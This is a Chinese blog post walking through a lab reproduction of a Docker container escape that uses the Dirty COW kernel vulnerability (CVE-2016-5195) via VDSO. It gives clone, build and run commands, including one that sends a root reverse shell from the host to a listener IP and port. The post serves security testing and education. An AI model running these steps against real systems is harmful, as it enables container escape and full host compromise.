zoukankan      html  css  js  c++  java
  • Docker逃逸--脏牛漏洞POC测试

    脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)

    一、漏洞描述

    Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

    竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

    在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

    二、漏洞利用条件

    docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。

    这里,我们使用ubuntu-14.04.5来复现。

    Ubuntu系统镜像下载:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso

    内核版本(共享内核):

    宿主机:

      bypass@ubuntu-docker:/$ uname -a   Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

    容器:
        root@59b203abf9d1:/# uname -r
        4.4.0-31-generic
        root@59b203abf9d1:/# 
        root@59b203abf9d1:/# cat /etc/issue
        Ubuntu 20.04 LTS 
     l

    三、漏洞测试复现

    1、测试环境下载

    git clone https://github.com/gebl/dirtycow-docker-vdso.git

    2、运行测试容器

    cd dirtycow-docker-vdso/
    sudo docker-compose run dirtycow /bin/bash

    3、进入容器,编译POC并执行

    cd /dirtycow-vdso/
    make
    ./0xdeadbeef 192.168.172.136:1234

     4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。

     参考文章:

     https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile

  • 相关阅读:
    为什么我会被淘汰?
    2017-3-27日碎碎念
    (原创)我对未来的人类的发展,以及AI技术发展的一些思考。
    八大排序算法图文讲解
    PE病毒初探——向exe注入代码
    [转]Patch文件结构详解
    芝麻信用商家接入指南
    如何成为一名好的程序员的一些个人经验
    .NET CoreCLR开发人员指南(上)
    七牛云:ckeditor JS SDK 结合 C#实现多图片上传。
  • 原文地址:https://www.cnblogs.com/xiaozi/p/13374514.html
Copyright © 2011-2022 走看看